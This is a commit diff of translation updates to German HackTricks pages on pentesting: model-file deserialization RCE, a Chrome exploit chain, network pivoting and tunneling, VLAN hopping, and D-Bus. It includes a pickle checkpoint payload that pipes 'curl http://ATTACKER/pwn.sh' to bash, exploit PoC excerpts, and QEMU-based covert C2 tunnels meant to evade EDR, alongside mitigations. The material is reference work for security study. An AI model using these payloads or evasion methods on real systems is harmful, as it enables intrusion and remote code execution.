mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Models-RCE.md', 'src/binary-exploitation/chrome-e
This commit is contained in:
Translator
parent
906a952860
commit
59c23b8ba3
@ -10,17 +10,17 @@ Zum Zeitpunkt des Schreibens sind dies einige Beispiele für diese Art von Schwa
|
||||
|
||||
| **Framework / Tool** | **Schwachstelle (CVE, falls verfügbar)** | **RCE-Vektor** | **Referenzen** |
|
||||
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
|
||||
| **PyTorch** (Python) | *Unsichere Deserialisierung in* `torch.load` **(CVE-2025-32434)** | Schadhafter Pickle im Modell-Checkpoint führt zu Codeausführung (Umgehung der `weights_only`-Sicherung) | |
|
||||
| **PyTorch** (Python) | *Unsichere Deserialisierung in* `torch.load` **(CVE-2025-32434)** | Schadhafter Pickle im Modell-Checkpoint führt zur Codeausführung (Umgehung der `weights_only`-Sicherung) | |
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + schadhafter Modell-Download verursacht Codeausführung; Java-Deserialisierungs-RCE in der Verwaltungs-API | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (unsicheres YAML) <br> **CVE-2024-3660** (Keras Lambda) | Laden des Modells aus YAML verwendet `yaml.unsafe_load` (Codeausführung) <br> Laden des Modells mit **Lambda**-Schicht führt zu beliebigem Python-Code | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (unsicheres YAML) <br> **CVE-2024-3660** (Keras Lambda) | Laden des Modells aus YAML verwendet `yaml.unsafe_load` (Codeausführung) <br> Laden des Modells mit **Lambda**-Schicht führt zur Ausführung beliebigen Python-Codes | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite-Parsing) | Bearbeitetes `.tflite`-Modell löst ganzzahligen Überlauf aus → Heap-Korruption (potenzielles RCE) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Laden eines Modells über `joblib.load` führt zur Ausführung von Pickle mit dem Payload des Angreifers `__reduce__` | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Laden eines Modells über `joblib.load` führt zur Ausführung von Pickle mit dem Payload des Angreifers `__reduce__` | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (unsicheres `np.load`) *umstritten* | `numpy.load` erlaubte standardmäßig pickled Objektarrays – schadhafter `.npy/.npz` löst Codeausführung aus | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (Verzeichnisdurchquerung) <br> **CVE-2024-5187** (tar-Durchquerung) | Der externe Gewichts-Pfad des ONNX-Modells kann das Verzeichnis verlassen (beliebige Dateien lesen) <br> Schadhafter ONNX-Modell-Tar kann beliebige Dateien überschreiben (führt zu RCE) | |
|
||||
| ONNX Runtime (Designrisiko) | *(Keine CVE)* ONNX benutzerdefinierte Operationen / Kontrollfluss | Modell mit benutzerdefinierter Operation erfordert das Laden des nativen Codes des Angreifers; komplexe Modellgraphen missbrauchen Logik, um unbeabsichtigte Berechnungen auszuführen | |
|
||||
| ONNX Runtime (Designrisiko) | *(Keine CVE)* ONNX benutzerdefinierte Operationen / Kontrollfluss | Modell mit benutzerdefiniertem Operator erfordert das Laden des nativen Codes des Angreifers; komplexe Modellgraphen missbrauchen Logik, um unbeabsichtigte Berechnungen auszuführen | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (Pfad-Durchquerung) | Verwendung der Modell-Lade-API mit aktiviertem `--model-control` ermöglicht relative Pfad-Durchquerung zum Schreiben von Dateien (z. B. Überschreiben von `.bashrc` für RCE) | |
|
||||
| **GGML (GGUF-Format)** | **CVE-2024-25664 … 25668** (mehrere Heap-Überläufe) | Fehlformatierte GGUF-Modell-Datei verursacht Heap-Pufferüberläufe im Parser, was die Ausführung beliebigen Codes auf dem Opfersystem ermöglicht | |
|
||||
| **Keras (ältere Formate)** | *(Keine neue CVE)* Legacy Keras H5-Modell | Schadhafter HDF5 (`.h5`)-Modell mit Lambda-Schicht-Code wird beim Laden weiterhin ausgeführt (Keras safe_mode deckt altes Format nicht ab – „Downgrade-Angriff“) | |
|
||||
| **Keras (ältere Formate)** | *(Keine neue CVE)* Legacy Keras H5-Modell | Schadhafter HDF5 (`.h5`) Modell mit Lambda-Schicht-Code wird beim Laden weiterhin ausgeführt (Keras safe_mode deckt altes Format nicht ab – „Downgrade-Angriff“) | |
|
||||
| **Andere** (allgemein) | *Designfehler* – Pickle-Serialisierung | Viele ML-Tools (z. B. pickle-basierte Modellformate, Python `pickle.load`) führen beliebigen Code aus, der in Modell-Dateien eingebettet ist, es sei denn, es gibt Abhilfemaßnahmen | |
|
||||
|
||||
Darüber hinaus gibt es einige auf Python-Pickle basierende Modelle wie die von [PyTorch](https://github.com/pytorch/pytorch/security), die verwendet werden können, um beliebigen Code auf dem System auszuführen, wenn sie nicht mit `weights_only=True` geladen werden. Daher könnte jedes auf Pickle basierende Modell besonders anfällig für diese Art von Angriffen sein, auch wenn sie nicht in der obigen Tabelle aufgeführt sind.
|
||||
@ -37,7 +37,7 @@ Wenn die bereitgestellte Datei ein **PyTorch-Checkpoint (`*.ckpt`)** ist, führt
|
||||
|
||||
Die Schwachstelle wurde mit **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %) bewertet.
|
||||
|
||||
#### Exploitation walk-through
|
||||
#### Ausbeutungsdurchgang
|
||||
|
||||
1. Erstellen Sie einen bösartigen Checkpoint:
|
||||
```python
|
||||
@ -51,8 +51,8 @@ return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))
|
||||
with open("payload.ckpt", "wb") as f:
|
||||
pickle.dump(Payload(), f)
|
||||
```
|
||||
2. Hoste `payload.ckpt` auf einem HTTP-Server, den du kontrollierst (z.B. `http://ATTACKER/payload.ckpt`).
|
||||
3. Trigger den verwundbaren Endpunkt (keine Authentifizierung erforderlich):
|
||||
2. Host `payload.ckpt` auf einem HTTP-Server, den Sie kontrollieren (z.B. `http://ATTACKER/payload.ckpt`).
|
||||
3. Triggern Sie den anfälligen Endpunkt (keine Authentifizierung erforderlich):
|
||||
```python
|
||||
import requests
|
||||
|
||||
@ -73,17 +73,17 @@ Fertiger Exploit: **Metasploit** Modul `exploit/linux/http/invokeai_rce_cve_2024
|
||||
|
||||
#### Bedingungen
|
||||
|
||||
• InvokeAI 5.3.1-5.4.2 (Scan-Flag standardmäßig **false**)
|
||||
• `/api/v2/models/install` für den Angreifer erreichbar
|
||||
• Der Prozess hat Berechtigungen zur Ausführung von Shell-Befehlen
|
||||
• InvokeAI 5.3.1-5.4.2 (Scan-Flag standardmäßig **false**)
|
||||
• `/api/v2/models/install` für den Angreifer erreichbar
|
||||
• Der Prozess hat Berechtigungen zur Ausführung von Shell-Befehlen
|
||||
|
||||
#### Minderung
|
||||
|
||||
* Upgrade auf **InvokeAI ≥ 5.4.3** – der Patch setzt `scan=True` standardmäßig und führt eine Malware-Überprüfung vor der Deserialisierung durch.
|
||||
* Verwenden Sie beim programmgesteuerten Laden von Checkpoints `torch.load(file, weights_only=True)` oder den neuen [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) Helfer.
|
||||
* Erzwingen Sie Erlauben-Listen / Signaturen für Modellquellen und führen Sie den Dienst mit minimalen Rechten aus.
|
||||
* Upgrade auf **InvokeAI ≥ 5.4.3** – der Patch setzt `scan=True` standardmäßig und führt eine Malware-Überprüfung vor der Deserialisierung durch.
|
||||
* Verwenden Sie beim programmgesteuerten Laden von Checkpoints `torch.load(file, weights_only=True)` oder den neuen [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) Helfer.
|
||||
* Erzwingen Sie Zulassungslisten / Signaturen für Modellquellen und führen Sie den Dienst mit minimalen Rechten aus.
|
||||
|
||||
> ⚠️ Denken Sie daran, dass **jede** Python-Pickle-basierte Format (einschließlich vieler `.pt`, `.pkl`, `.ckpt`, `.pth` Dateien) von untrusted Quellen grundsätzlich unsicher zu deserialisieren ist.
|
||||
> ⚠️ Denken Sie daran, dass **jede** Python-Pickle-basierte Format (einschließlich vieler `.pt`, `.pkl`, `.ckpt`, `.pth` Dateien) von untrusted Quellen grundsätzlich unsicher zu deserialisieren ist.
|
||||
|
||||
---
|
||||
|
||||
@ -165,7 +165,7 @@ tf.add(PAYLOAD) # rides the symlink
|
||||
|
||||
- [OffSec-Blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/)
|
||||
- [InvokeAI Patch Commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
||||
- [Rapid7 Metasploit-Modul-Dokumentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
|
||||
- [Rapid7 Metasploit Modul-Dokumentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
|
||||
- [PyTorch – Sicherheitsüberlegungen für torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
> Diese Seite bietet einen hochrangigen, aber **praktischen** Überblick über einen modernen "Full-Chain"-Exploits-Workflow gegen Google Chrome 130, basierend auf der Forschungsreihe **„101 Chrome Exploitation“** (Teil-0 — Vorwort).
|
||||
> Diese Seite bietet einen hochrangigen, aber **praktischen** Überblick über einen modernen "Full-Chain"-Exploits-Workflow gegen Google Chrome 130, basierend auf der Forschungsreihe **„101 Chrome Exploitation”** (Teil-0 — Vorwort).
|
||||
> Das Ziel ist es, Pentestern und Exploit-Entwicklern den minimalen Hintergrund zu geben, der notwendig ist, um die Techniken zu reproduzieren oder für ihre eigene Forschung anzupassen.
|
||||
|
||||
## 1. Chrome-Architektur Rückblick
|
||||
Das Verständnis der Angriffsfläche erfordert zu wissen, wo Code ausgeführt wird und welche Sandboxes gelten.
|
||||
Das Verständnis der Angriffsfläche erfordert Wissen darüber, wo Code ausgeführt wird und welche Sandboxes gelten.
|
||||
```
|
||||
+-------------------------------------------------------------------------+
|
||||
| Chrome Browser |
|
||||
@ -43,11 +43,11 @@ Ein *entfernter* Angreifer benötigt daher **drei** aufeinanderfolgende Primitiv
|
||||
|
||||
## 2. Stage 1 – WebAssembly Typverwirrung (CVE-2025-0291)
|
||||
|
||||
Ein Fehler in TurboFans **Turboshaft**-Optimierung klassifiziert **WasmGC-Referenztypen** falsch, wenn der Wert innerhalb einer *einzelnen Grundblockschleife* erzeugt und konsumiert wird.
|
||||
Ein Fehler in der **Turboshaft**-Optimierung von TurboFan klassifiziert **WasmGC-Referenztypen** falsch, wenn der Wert innerhalb einer *einzelnen Grundblockschleife* erzeugt und konsumiert wird.
|
||||
|
||||
Wirkung:
|
||||
* Der Compiler **überspringt die Typprüfung**, behandelt eine *Referenz* (`externref/anyref`) als *int64*.
|
||||
* Ausgeklügeltes Wasm ermöglicht das Überlappen eines JS-Objekt-Headers mit vom Angreifer kontrollierten Daten → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR-Primitiven**.
|
||||
* Ausgeklügeltes Wasm ermöglicht das Überlappen eines JS-Objekt-Headers mit von Angreifern kontrollierten Daten → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR-Primitiven**.
|
||||
|
||||
Minimales PoC (Auszug):
|
||||
```WebAssembly
|
||||
@ -82,14 +82,14 @@ Outcome: **willkürliches Lesen/Schreiben innerhalb von V8**.
|
||||
|
||||
---
|
||||
|
||||
## 3. Stage 2 – Ausbrechen aus dem V8 Sandbox (Issue 379140430)
|
||||
## 3. Stage 2 – Ausbrechen aus dem V8 Sandbox (issue 379140430)
|
||||
|
||||
Wenn eine Wasm-Funktion tier-up-compiliert wird, wird ein **JS ↔ Wasm Wrapper** generiert. Ein Signatur-Mismatch-Bug verursacht, dass der Wrapper über das Ende eines vertrauenswürdigen **`Tuple2`** Objekts hinaus schreibt, wenn die Wasm-Funktion *während sie sich noch im Stack befindet* neu optimiert wird.
|
||||
|
||||
Das Überschreiben der 2 × 64-Bit-Felder des `Tuple2` Objekts ermöglicht **Lesen/Schreiben an jeder Adresse im Renderer-Prozess**, wodurch die V8 Sandbox effektiv umgangen wird.
|
||||
|
||||
Wichtige Schritte im Exploit:
|
||||
1. Bringen Sie die Funktion in den **Tier-Up** Zustand, indem Sie zwischen Turbofan/Baseline-Code wechseln.
|
||||
1. Bringen Sie die Funktion in den **Tier-Up** Zustand, indem Sie zwischen turbofan/baseline Code wechseln.
|
||||
2. Triggern Sie den Tier-Up, während Sie eine Referenz im Stack behalten (`Function.prototype.apply`).
|
||||
3. Verwenden Sie Stage-1 AAR/AAW, um das angrenzende `Tuple2` zu finden und zu korrumpieren.
|
||||
|
||||
@ -101,13 +101,13 @@ return f(arg);
|
||||
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
|
||||
wrapperGen(0x1337n);
|
||||
```
|
||||
Nach der Korruption verfügen wir über ein voll funktionsfähiges **Renderer R/W Primitive**.
|
||||
Nach der Korruption verfügen wir über ein voll funktionsfähiges **Renderer R/W-Primitiv**.
|
||||
|
||||
---
|
||||
|
||||
## 4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)
|
||||
|
||||
Die **Mojo** IPC-Schnittstelle `blink.mojom.DragService.startDragging()` kann vom Renderer mit *teilweise vertrauenswürdigen* Parametern aufgerufen werden. Durch das Erstellen einer `DragData`-Struktur, die auf einen **beliebigen Dateipfad** zeigt, überzeugt der Renderer den Browser, einen *nativen* Drag-and-Drop **außerhalb der Renderer-Sandbox** durchzuführen.
|
||||
Die **Mojo** IPC-Schnittstelle `blink.mojom.DragService.startDragging()` kann vom Renderer mit *teilweise vertrauenswürdigen* Parametern aufgerufen werden. Durch das Erstellen einer `DragData`-Struktur, die auf einen **beliebigen Dateipfad** zeigt, überzeugt der Renderer den Browser, ein *natives* Drag-and-Drop **außerhalb des Renderer-Sandboxes** durchzuführen.
|
||||
|
||||
Durch den Missbrauch hiervon können wir programmgesteuert eine bösartige EXE (zuvor an einem weltweit beschreibbaren Ort abgelegt) auf den Desktop „ziehen“, wo Windows bestimmte Dateitypen automatisch ausführt, sobald sie abgelegt werden.
|
||||
|
||||
|
||||
@ -250,7 +250,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
||||
```
|
||||
Durch **NTLM-Proxy** pivotieren
|
||||
Pivotieren durch **NTLM-Proxy**
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
||||
```
|
||||
@ -326,7 +326,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
||||
|
||||
Es ist wie eine Konsolen-PuTTY-Version (die Optionen sind sehr ähnlich zu einem ssh-Client).
|
||||
|
||||
Da dieses Binary auf dem Opfer ausgeführt wird und es sich um einen ssh-Client handelt, müssen wir unseren ssh-Dienst und Port öffnen, damit wir eine umgekehrte Verbindung haben können. Dann, um nur einen lokal zugänglichen Port auf einen Port in unserer Maschine weiterzuleiten:
|
||||
Da dieses Binary auf dem Opfer ausgeführt wird und es sich um einen ssh-Client handelt, müssen wir unseren ssh-Dienst und -Port öffnen, damit wir eine umgekehrte Verbindung herstellen können. Dann, um nur einen lokal zugänglichen Port auf einen Port in unserer Maschine weiterzuleiten:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
@ -360,11 +360,11 @@ C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Jetzt können wir über **RDP** mit dem **Opfer** über **`mstsc.exe`** **verbinden**, und wir sollten eine **Aufforderung** erhalten, die besagt, dass das **SocksOverRDP-Plugin aktiviert ist**, und es wird auf **127.0.0.1:1080** **lauschen**.
|
||||
|
||||
**Verbinden** Sie sich über **RDP** und laden Sie die `SocksOverRDP-Server.exe`-Binärdatei auf dem Opfergerät hoch und führen Sie sie aus:
|
||||
**Verbinden** Sie sich über **RDP** und laden Sie die `SocksOverRDP-Server.exe`-Binärdatei auf dem Opfercomputer hoch und führen Sie sie aus:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
Bestätigen Sie jetzt auf Ihrem Gerät (Angreifer), dass der Port 1080 lauscht:
|
||||
Bestätigen Sie jetzt auf Ihrer Maschine (Angreifer), dass der Port 1080 lauscht:
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
@ -388,7 +388,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Es authentifiziert sich gegen einen Proxy und bindet einen Port lokal, der an den externen Dienst weitergeleitet wird, den Sie angeben. Dann können Sie das Tool Ihrer Wahl über diesen Port verwenden.\
|
||||
Zum Beispiel den weitergeleiteten Port 443
|
||||
Zum Beispiel, um den Port 443 weiterzuleiten.
|
||||
```
|
||||
Username Alice
|
||||
Password P@ssw0rd
|
||||
@ -401,7 +401,7 @@ Sie könnten auch einen **meterpreter** verwenden, der sich mit localhost:443 ve
|
||||
|
||||
## YARP
|
||||
|
||||
Ein Reverse-Proxy, der von Microsoft erstellt wurde. Sie finden ihn hier: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
||||
Ein Reverse-Proxy, der von Microsoft erstellt wurde. Sie finden es hier: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
||||
|
||||
## DNS Tunneling
|
||||
|
||||
@ -459,7 +459,7 @@ Proxychains intercepts `gethostbyname` libc call und tunnelt TCP-DNS-Anfragen du
|
||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
Root wird in beiden Systemen benötigt, um Tun-Adapter zu erstellen und Daten zwischen ihnen mithilfe von ICMP-Echo-Anfragen zu tunneln.
|
||||
Root wird in beiden Systemen benötigt, um TUN-Adapter zu erstellen und Daten zwischen ihnen mithilfe von ICMP-Echo-Anfragen zu tunneln.
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
@ -570,11 +570,11 @@ Tunnel: <TUNNEL-UUID>
|
||||
credentials-file: /root/.cloudflared/<TUNNEL-UUID>.json
|
||||
url: http://127.0.0.1:8000
|
||||
```
|
||||
Starten Sie den Connector:
|
||||
Starte den Connector:
|
||||
```bash
|
||||
cloudflared tunnel run mytunnel
|
||||
```
|
||||
Weil der gesamte Verkehr den Host **ausgehend über 443** verlässt, sind Cloudflared-Tunnel eine einfache Möglichkeit, um Ingress-ACLs oder NAT-Grenzen zu umgehen. Beachten Sie, dass die Binärdatei normalerweise mit erhöhten Rechten ausgeführt wird – verwenden Sie Container oder das `--user`-Flag, wenn möglich.
|
||||
Weil der gesamte Verkehr den Host **ausgehend über 443** verlässt, sind Cloudflared-Tunnel eine einfache Möglichkeit, um Eingangs-ACLs oder NAT-Grenzen zu umgehen. Beachten Sie, dass die Binärdatei normalerweise mit erhöhten Rechten ausgeführt wird – verwenden Sie Container oder das `--user`-Flag, wenn möglich.
|
||||
|
||||
## FRP (Fast Reverse Proxy)
|
||||
|
||||
@ -599,7 +599,7 @@ localIP = "127.0.0.1"
|
||||
localPort = 3389
|
||||
remotePort = 5000
|
||||
```
|
||||
### Verwendung des neuen SSH-Gateways (kein frpc-Binär)
|
||||
### Verwendung des neuen SSH-Gateways (kein frpc-Binärdatei)
|
||||
```bash
|
||||
# On frps (attacker)
|
||||
sshTunnelGateway.bindPort = 2200 # add to frps.toml
|
||||
@ -612,7 +612,7 @@ Der obige Befehl veröffentlicht den Port des Opfers **8080** als **attacker_ip:
|
||||
|
||||
## Verdeckte VM-basierte Tunnel mit QEMU
|
||||
|
||||
QEMU’s Benutzer-Modus-Netzwerk (`-netdev user`) unterstützt eine Option namens `hostfwd`, die **einen TCP/UDP-Port auf dem *Host* bindet und in das *Gast*-System weiterleitet**. Wenn das Gast-System einen vollständigen SSH-Daemon ausführt, bietet die hostfwd-Regel eine disposable SSH-Jump-Box, die vollständig innerhalb einer flüchtigen VM lebt – perfekt, um C2-Verkehr vor EDR zu verbergen, da alle bösartigen Aktivitäten und Dateien auf der virtuellen Festplatte bleiben.
|
||||
QEMUs Benutzer-Modus-Netzwerk (`-netdev user`) unterstützt eine Option namens `hostfwd`, die **einen TCP/UDP-Port auf dem *Host* bindet und in das *Gast* weiterleitet**. Wenn das Gast eine vollständige SSH-Daemon ausführt, bietet die hostfwd-Regel Ihnen eine disposable SSH-Jump-Box, die vollständig innerhalb einer ephemeral VM lebt – perfekt, um C2-Verkehr vor EDR zu verbergen, da alle bösartigen Aktivitäten und Dateien auf der virtuellen Festplatte bleiben.
|
||||
|
||||
### Schnelle Einzeiler
|
||||
```powershell
|
||||
@ -628,7 +628,7 @@ qemu-system-x86_64.exe ^
|
||||
• Der Port **2222/tcp** auf dem Windows-Host wird transparent an **22/tcp** im Gast weitergeleitet.
|
||||
• Aus der Sicht des Angreifers stellt das Ziel einfach den Port 2222 zur Verfügung; alle Pakete, die ihn erreichen, werden vom SSH-Server, der in der VM läuft, verarbeitet.
|
||||
|
||||
### Stealthy Start über VBScript
|
||||
### Stealthy über VBScript starten
|
||||
```vb
|
||||
' update.vbs – lived in C:\ProgramData\update
|
||||
Set o = CreateObject("Wscript.Shell")
|
||||
@ -653,7 +653,7 @@ while ! ping -c1 45.77.4.101; do sleep 2; done
|
||||
### Warum dies die Erkennung umgeht
|
||||
|
||||
• Nur zwei nicht signierte ausführbare Dateien (`qemu-system-*.exe`) berühren die Festplatte; keine Treiber oder Dienste sind installiert.
|
||||
• Sicherheitsprodukte auf dem Host sehen **harmlosen Loopback-Verkehr** (das tatsächliche C2 endet innerhalb der VM).
|
||||
• Sicherheitsprodukte auf dem Host sehen **harmlosen Loopback-Verkehr** (der tatsächliche C2 endet innerhalb der VM).
|
||||
• Speicherscanner analysieren niemals den bösartigen Prozessspeicher, da er in einem anderen OS lebt.
|
||||
|
||||
### Defender-Tipps
|
||||
@ -666,11 +666,11 @@ while ! ping -c1 45.77.4.101; do sleep 2; done
|
||||
|
||||
## Andere Tools zur Überprüfung
|
||||
|
||||
- [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
- [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||
- [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
- [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [Hiding in the Shadows: Covert Tunnels via QEMU Virtualization](https://trustedsec.com/blog/hiding-in-the-shadows-covert-tunnels-via-qemu-virtualization)
|
||||
- [Hiding in the Shadows: Covert Tunnels via QEMU Virtualization](https://trustedsec.com/blog/hiding-in-the-shadows-covert-tunnels-via-qemu-virtualization)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -14,7 +14,7 @@ Vor dem Wechsel in den Trunk-Modus sollte eine Liste der vorhandenen VLANs erste
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
**Der Übergang in den Trunk-Modus umfasst das Betreten des Schnittstellenkonfigurationsmodus**:
|
||||
**Der Übergang in den Trunk-Modus beinhaltet das Betreten des Schnittstellenkonfigurationsmodus**:
|
||||
```
|
||||
SW1(config)# interface GigabitEthernet 0/2
|
||||
SW1(config-if)# switchport trunk encapsulation dot1q
|
||||
@ -46,7 +46,7 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
Die Konnektivität wird getestet, indem ICMP-Anfragen an die Standard-Gateways für die VLANs 10, 20, 50 und 60 gesendet werden.
|
||||
|
||||
Letztendlich ermöglicht dieser Prozess das Umgehen der VLAN-Segmentierung, wodurch ungehinderter Zugriff auf jedes VLAN-Netzwerk ermöglicht wird und die Grundlage für nachfolgende Aktionen geschaffen wird.
|
||||
Letztendlich ermöglicht dieser Prozess das Umgehen der VLAN-Segmentierung, wodurch ungehinderter Zugriff auf jedes VLAN-Netzwerk gewährt wird und die Grundlage für nachfolgende Aktionen geschaffen wird.
|
||||
|
||||
---
|
||||
|
||||
@ -56,7 +56,7 @@ Die vorherige Methode setzt voraus, dass authentifizierter Zugriff auf die Konso
|
||||
|
||||
### 1. Switch-Spoofing mit Dynamic Trunking Protocol (DTP)
|
||||
|
||||
Cisco-Switches, die DTP aktiviert haben, verhandeln gerne einen Trunk, wenn der Peer behauptet, ein Switch zu sein. Das Erstellen eines einzigen **DTP “desirable”** oder **“trunk”** Frames verwandelt den Zugangsport in einen 802.1Q-Trunk, der *alle* erlaubten VLANs trägt.
|
||||
Cisco-Switches, die DTP aktiviert haben, verhandeln gerne einen Trunk, wenn der Peer behauptet, ein Switch zu sein. Das Erstellen eines einzigen **DTP “desirable”** oder **“trunk”** Frames verwandelt den Zugangsport in einen 802.1Q-Trunk, der *alle* erlaubten VLANs transportiert.
|
||||
|
||||
*Yersinia* und mehrere PoCs automatisieren den Prozess:
|
||||
```bash
|
||||
@ -67,7 +67,7 @@ $ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
Sobald der Port auf Trunk umgeschaltet wird, können Sie 802.1Q-Subschnittstellen erstellen und genau wie im vorherigen Abschnitt gezeigt pivotieren. Moderne Linux-Kernel benötigen kein *vconfig* mehr; verwenden Sie stattdessen *ip link*:
|
||||
Sobald der Port auf Trunk umschaltet, können Sie 802.1Q-Subschnittstellen erstellen und genau wie im vorherigen Abschnitt gezeigt pivotieren. Moderne Linux-Kernel benötigen kein *vconfig* mehr; verwenden Sie stattdessen *ip link*:
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
@ -76,7 +76,7 @@ sudo ip link set eth0.30 up
|
||||
```
|
||||
### 2. Double-Tagging (Native-VLAN-Missbrauch)
|
||||
|
||||
Wenn der Angreifer im **native (untagged) VLAN** sitzt, kann ein gestalteter Frame mit *zwei* 802.1Q-Headern zu einem zweiten VLAN "springen", selbst wenn der Port im Access-Modus gesperrt ist. Werkzeuge wie **VLANPWN DoubleTagging.py** (2022-2024 Aktualisierung) automatisieren die Injektion:
|
||||
Wenn der Angreifer im **native (untagged) VLAN** sitzt, kann ein gestalteter Frame mit *zwei* 802.1Q-Headern zu einem zweiten VLAN "springen", selbst wenn der Port im Access-Modus gesperrt ist. Tools wie **VLANPWN DoubleTagging.py** (2022-2024 Aktualisierung) automatisieren die Injektion:
|
||||
```bash
|
||||
python3 DoubleTagging.py \
|
||||
--interface eth0 \
|
||||
@ -110,7 +110,7 @@ sendp(frame, iface="eth0")
|
||||
2. Ändern Sie das native VLAN an jedem Trunk in ein **unbenutztes, Black-Hole VLAN** und taggen Sie es: `vlan dot1q tag native`.
|
||||
3. Prune unnötige VLANs an Trunks: `switchport trunk allowed vlan 10,20`.
|
||||
4. Erzwingen Sie Portsicherheit, DHCP-Snooping und dynamische ARP-Inspektion, um unerwünschte Layer-2-Aktivitäten zu begrenzen.
|
||||
5. Bevorzugen Sie private VLANs oder L3-Segmentierung, anstatt sich ausschließlich auf 802.1Q-Trennung zu verlassen.
|
||||
5. Bevorzugen Sie private VLANs oder L3-Segmentierung anstelle der ausschließlichen Abhängigkeit von 802.1Q-Trennung.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@ -6,9 +6,9 @@
|
||||
|
||||
D-Bus wird als Interprozesskommunikations (IPC) Vermittler in Ubuntu-Desktopumgebungen verwendet. Auf Ubuntu wird der gleichzeitige Betrieb mehrerer Nachrichtenbusse beobachtet: der Systembus, der hauptsächlich von **privilegierten Diensten genutzt wird, um systemrelevante Dienste bereitzustellen**, und ein Sitzungsbus für jeden angemeldeten Benutzer, der nur Dienste bereitstellt, die für diesen spezifischen Benutzer relevant sind. Der Fokus liegt hier hauptsächlich auf dem Systembus aufgrund seiner Verbindung zu Diensten, die mit höheren Rechten (z. B. root) ausgeführt werden, da unser Ziel darin besteht, die Privilegien zu erhöhen. Es wird angemerkt, dass die Architektur von D-Bus einen 'Router' pro Sitzungsbus verwendet, der dafür verantwortlich ist, Clientnachrichten an die entsprechenden Dienste weiterzuleiten, basierend auf der Adresse, die von den Clients für den Dienst angegeben wird, mit dem sie kommunizieren möchten.
|
||||
|
||||
